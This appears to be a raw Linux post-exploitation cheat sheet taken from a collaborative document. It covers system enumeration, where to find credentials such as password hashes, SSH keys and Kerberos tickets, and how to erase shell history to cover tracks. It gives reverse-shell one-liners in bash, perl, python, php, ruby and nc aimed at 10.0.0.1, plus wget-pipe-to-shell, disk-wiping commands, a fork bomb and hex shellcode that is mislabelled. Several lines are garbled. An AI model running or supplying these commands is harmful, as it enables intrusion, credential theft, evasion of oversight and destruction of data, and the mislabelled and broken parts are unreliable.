Linux Google Doc Content
The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.
System
| Command | Description / Importance |
| ——- | ———————— |
| uname -a
| Prints the kernel version, arch, sometimes distro, … |
| ps aux
| List all running processes |
| top -n 1 -d
| Print process, 1 is a number of lines |
| id
| Your current username, groups |
| arch, uname -m
| Kernel processor architecture |
| w
| who is connected, uptime and load avg |
| who -a
| uptime, runlevel, tty, proceses etc. |
| gcc -v
| Returns the version of GCC. |
| mysql --version
| Returns the version of MySQL. |
| perl -v
| Returns the version of Perl. |
| ruby -v
| Returns the version of Ruby. |
| python --version
| Returns the version of Python. |
| df -k
| mounted fs, size, % use, dev and mount point |
| mount
| mounted fs |
| last -a
| Last users logged on |
| lastcomm
| |
| lastlog
| |
| lastlogin (BSD)
| |
| getenforce
| Get the status of SELinux (Enforcing, Permissive or Disabled) |
| dmesg
| Informations from the last system boot |
| lspci
| prints all PCI buses and devices |
| lsusb
| prints all USB buses and devices/h |
| lscpu
| prints CPU information |
| lshw
| |
| ex
| |
| cat /proc/cpuinfo
| |
| cat /proc/meminfo
| |
| du -h --max-depth=1 /
| (note: can cause heavy disk i/o) |
| which nmap
| locate a command (ie nmap or nc) |
| locate bin/nmap
| |
| locate bin/nc
| |
| jps -l
| |
| java -version
| Returns the version of Java. |
Networking
hostname -f
ip addr show
ip ro show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n -v
iptables -t nat -L -n -v
ip6tables -L -n -v
iptables-save
netstat -anop
netstat -r
netstat -nltupw (root with raw sockets)
arp -a
lsof -nPi
to resume it ? “cat /proc/net/*” (more discreet)
what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff.
User accounts
local accounts: cat /etc/passwd
password hashes in /etc/shadow on Linux
password hashes in /etc/security/passwd on AIX
groups in /etc/group (and/or /etc/gshadow on Linux)
all accounts: getent passwd
should dump local, LDAP, NIS, whatever the system is using
same with getent group
Samba’s own database: pdbedit -L -w or pdbedit -L -v
privileged accounts: cat
(above: cat ???)
mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases
NIS accounts: ypcat passwd - displays NIS password file
Credentials
SSH keys, often passwordless: /home//.ssh/id
SSH agent:
Kerberos tickets: /tmp/krb5cc_, /tmp/krb5.keytab
PGP keys: /home//.gnupg/secring.gpgs
Configs
ls -aRl /etc/ | awk ‘$1 ~ /w.$/’ | grep -v lrwx 2>/dev/nullte
cat /etc/issue{,.net}
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
cat /etc/resolv.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.confcda
cat /etc/inetd.conf
cat /opt/lampp/etc/httpd.conf
cat /etc/samba/smb.conf
cat /etc/openldap/ldap.conf
cat /etc/ldap/ldap.conf
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_master
cat /etc/fstab
find /etc/sysconfig/ -type f -exec cat {} \;
Determine Distro
lsb_release -d # Generic command for all LSB distros
/etc/os-release # Generic for distros using “systemd”
/etc/issue # Generic but often modified
cat /etc/*release
/etc/SUSE-release # Novell SUSE
/etc/redhat-release, /etc/redhat_version # Red Hat
/etc/fedora-release # Fedora
/etc/slackware-release, /etc/slackware-version # Slackware
/etc/debian_release, /etc/debian_version # Debian
/etc/mandrake-release # Mandrake
/etc/sun-release # Sun JDS
/etc/release # Solaris/Sparc
/etc/gentoo-release # Gentoo
/etc/arch-release # Arch Linux (file will be empty)
arch # OpenBSD; sample: “OpenBSD.amd64”
uname -a # often hints at it pretty well
Installed Packages
rpm -qa –last | head
yum list | grep installed
Debian: dpkg -l
dpkg -l | grep -i “linux-image”
dpkg –get-selections
{Free,Net}BSD: pkg_info
Solaris: pkginfo
Gentoo: # equery must be installed
cd /var/db/pkg/ && ls -d / # always works
Arch Linux: pacman -Q
Package Sources
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat /etc/yum.conf
Finding Important Files
ls -dlR / #
ls -alR | grep ^d
find /var -type d
ls -dl find /var -type d
ls -dl find /var -type d
| grep -v root
find /var ! -user root -type d -ls
find /var/log -type f -exec ls -la {} \;
find / -perm -4000 (find all suid files)
ls -alhtr /mnt
ls -alhtr /media
ls -alhtr /tmp
ls -alhtr /home
cd /home/; treels /home//.ssh/*
find /home -type f -iname ‘.history’
ls -lart /etc/rc.d/
locate tar | grep [.]tar$ # Remember to updatedb before running locate
locate tgz | grep [.]tgz$
locate sql | grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /home//id*
.properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib echo $PATH | 'sed s/:/ /g'
-perm /6000 -ls # find suids
locate rhosts
Covering Your Tracks
Avoiding history filesmys
export HISTFILE=
or
unset HISTFILE
This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:
However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
clear all history in ram
history -c
rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
touch ~/.bash_history (invasive)
history -c (using a space before a command)
zsh% unset HISTFILE HISTSIZE
tcsh% set history=0
bash$ set +o history
ksh$ unset HISTFILE
find / -type f -exec {} (forensics nightmare)
Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.
In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.
Obtain users' information
ls -alh /home/*/
ls -alh /home/*/.ssh/
cat /home/*/.ssh/authorized_keys
cat /home/*/.ssh/known_hosts
cat /home/*/.*hist* # you can learn a lot from this
find /home/*/.vnc /home/*/.subversion -type f
grep ^ssh /home/*/.*hist*
grep ^telnet `/home/*/.*hist*
grep ^mysql /home/*/.*hist*
cat /home/*/.viminfo
sudo -l # if sudoers is not. readable, this sometimes works per user
crontab -l
cat /home/*/.mysql_history
Escalating
Looking for possible opened paths
ls -alh /root/
sudo -l
cat /etc/sudoers
cat /etc/shadow
cat /etc/master.passwd # OpenBSD
cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
lsof -nPi
ls /home/*/.ssh/*
Maintaining control
Reverse Shell
Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.).
perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
xterm -display 10.0.0.1:1se
Listener- Xnest :1
Add permission to connect- xhost +victimIP
ssh -NR 3333:localhost:22 user@yourhost
nc -e /bin/sh 10.0.0.1 1234
Fun if Windows is present and accessible
If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write.
TODO: insert details on what to look for
Stuff to be sorted
## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN
Command
Output
ps aux
List of running processes
id
List current user and group along with user/group id
w
Show info about who is logged, what are they are doing
who -a
Print information about users
cat /dev/core > /dev/audio
cat /dev/mem > /dev/audio
Makes a sound from the memory content.
Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver)
sudo -p
allows the user to define what the password prompt will be
(useful for fun customization with aliases or shell scripts)
Deleting and Destroying
(If it is necessary to leave the machine inaccessible or unusable)
Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
Oh, and you're probably a jerk if you use any of the stuff below.
Command
Description
rm -rf /
This will recursively try to delete all files.
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
"\x6e\x2f\x73\x68\x00\x2d\x63\x00?
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Hex version of rm -rf /
How is this supposed to work?
mkfs.ext3 /dev/sda
Reformat the device mentioned, making recovery of files hard.
dd if=/dev/zero of=/dev/sda bs=1M
Overwrite disk /dev/sda with zeros
Execute a remote script
wget http://server/file.sh -O- | sh
This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit
Fork Bomb
:(){:|:&};:
The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.
Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf
World
writable
directories
Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile,
.bash_profile, .bashrc...
find / \( -wholename
'/home/homedir/*' -prune \) -o \
( -type d -perm -0002 \) -exec
ls -ld '{}' ';' 2>/dev/null
World
writable files
What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be
true, it really makes sense to search for world writable files outside your own territory (= your home directory).
find / \( -wholename
'/home/homedir/*' -prune -o
-wholename '/proc/*' -prune \)
-o \( -type f -perm -0002 \)
-exec ls -l '{}' ';' 2>/dev/null
Logfiles
Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as
passwords or other important information.
find /var/log -type f -perm
-0004 2>/dev/null
Setuid / setgid files
We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness.
find / \( -type f -or -type d \)
-perm -6000 2>/dev/null